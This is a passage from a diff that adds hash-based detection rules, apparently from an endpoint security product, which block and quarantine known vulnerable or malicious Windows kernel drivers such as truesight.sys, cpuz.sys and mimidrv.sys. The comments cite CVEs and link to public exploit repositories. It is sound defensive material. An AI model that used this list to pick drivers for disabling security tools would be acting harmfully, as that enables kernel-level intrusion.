+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a1feb8649a5c0679e1073e6d8a02c8a6ebc5825f02999f16c9459284f1b198b",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73d6b906-a4c7-5d45-bb89-2f8aa6478a14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474502Z",
+  "creation_date": "2026-03-23T11:45:30.474505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e43be62587d7c4bb371bc0a1142a87a2a021bd0dcfd6cd107a50837c109e3ba",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73dc7e36-4871-53b0-bd8d-da5f2abe3746",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975467Z",
+  "creation_date": "2026-03-23T11:45:29.975471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b5153404fe836cf93237c50977cdb28a3bbd9663bdf63f5bfa26e65e1d00b3f",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73ddf34d-96d9-5e29-a452-bf1fb213a85d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478830Z",
+  "creation_date": "2026-03-23T11:45:30.478833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6165491e8391eac9c0e3b9a2a31e1692a567c16cbfa36d7a88c401ffae1f6c63",
+  "comment": "Vulnerable Kernel Driver (aka asas.sys) [https://www.loldrivers.io/drivers/dbb58de1-a1e5-4c7f-8fe0-4033502b1c63/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73e12948-d6cf-587a-8eb2-0409c5c52eb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140782Z",
+  "creation_date": "2026-03-23T11:45:31.140784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef9485e039d30ff71e9894ec4bbe2efce32ca9ecf1bb919dffb5f6cebea00993",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "73ecfaf9-84ee-52b1-97ec-bec6a5c8a563",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820617Z",
+  "creation_date": "2026-03-23T11:45:30.820618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64dddd5ac53fe2c9de2b317c09034d1bccaf21d6c03ccfde3518e5aa3623dd66",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74094e0f-5873-58cd-afe2-daa8ac9540a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475379Z",
+  "creation_date": "2026-03-23T11:45:31.475383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb1dd60610ec06f02801006be2e9c4274d7ae3e6a3b17d6760f27f470d16d3ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "741bafce-1532-5559-96e6-328a42db91ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827017Z",
+  "creation_date": "2026-03-23T11:45:30.827019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27f8831c710ae2471f6c35d2311e690b36acc9d31d466b22ff7ffbfe1ef3ced8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "742a06af-a2f1-5a07-800e-16816dea1c63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610828Z",
+  "creation_date": "2026-03-23T11:45:29.610830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610836Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "742e502b-88e4-5596-9cbd-b6f31ddd363d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156740Z",
+  "creation_date": "2026-03-23T11:45:31.156742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "643d283d908f4ac343a878d98b6477cbb6eba4424ca6ad85341e91237d288b06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7432fa8b-24e3-57c8-a2d1-4d7e41c7415e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822607Z",
+  "creation_date": "2026-03-23T11:45:31.822611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b37dbd665e83bb8554b6f46b1246bb8cac9dba98963b319a037cde6495b2ad71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "744cbc20-393c-5bf0-9d87-ddc23081795b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976010Z",
+  "creation_date": "2026-03-23T11:45:29.976012Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01b9a38c08e8a143c2e51768bd6c227367d1502c090033beddec5a89f50ca4cd",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "744ddd60-3539-5e4f-a94c-3eac1b4afb1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160891Z",
+  "creation_date": "2026-03-23T11:45:31.160893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8a37ef69dbc56da1ffeb5cc8bb7bca2b2472513af7614ce7e562b0f92082540",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "745543b6-1ac7-515f-9cd3-af4350d7eec9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463978Z",
+  "creation_date": "2026-03-23T11:45:30.463981Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "baf7fbc4743a81eb5e4511023692b2dfdc32ba670ba3e4ed8c09db7a19bd82d3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74559025-6519-5942-9168-3de2542a624a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975184Z",
+  "creation_date": "2026-03-23T11:45:29.975186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "745fe60c-3216-5e5a-918c-c6cc49284a1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609884Z",
+  "creation_date": "2026-03-23T11:45:29.609886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e291148da43ea6a491b8b94bdf573365087940c9b90f6a15a4e589da86a518d",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74741935-c3e3-5dd9-9e2f-58cd9cc0b340",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156690Z",
+  "creation_date": "2026-03-23T11:45:31.156691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "145c0df9b3bd1e84373cec313183eb7273048b861c3bdc46d23597ee8807a156",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74766a75-53cf-5cd3-9f99-eb7db319c3bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494692Z",
+  "creation_date": "2026-03-23T11:45:31.494694Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494699Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2cec63897dd10f604a4485aacb062e1546be7cb4d787557f0b37eddcf1edd8a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74889480-071e-5974-b914-5878e9ab1680",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828561Z",
+  "creation_date": "2026-03-23T11:45:30.828563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd7bafa95c2e3dd217c40c03b3e5224daa6cf2b8969baaa9d7e3d90e172ea5e3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7488e995-e400-5d91-be4b-376c9206c052",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475856Z",
+  "creation_date": "2026-03-23T11:45:30.475859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475868Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72b67b6b38f5e5447880447a55fead7f1de51ca37ae4a0c2b2f23a4cb7455f35",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7492167f-7ebd-517f-8108-6c45cb37ca1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818347Z",
+  "creation_date": "2026-03-23T11:45:30.818349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90574d2c406b9738aae8fc629c3983c5e47a6282a43b052f38b5dd313380c30a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7495af6f-44cf-549a-b65c-e2fb0bf836c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604664Z",
+  "creation_date": "2026-03-23T11:45:29.604666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a689804c4e6e9aa07d48f9c99b7a1be6b05cba1c632b1a083b8031f6e1651c28",
+  "comment": "Vulnerable Kernel Driver (aka mydrivers.sys) [https://www.loldrivers.io/drivers/d9e00cc7-a8f4-4390-a6dc-0f5423e97da4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74a4f858-1ec9-5461-b804-0cd57f1787be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977414Z",
+  "creation_date": "2026-03-23T11:45:29.977417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
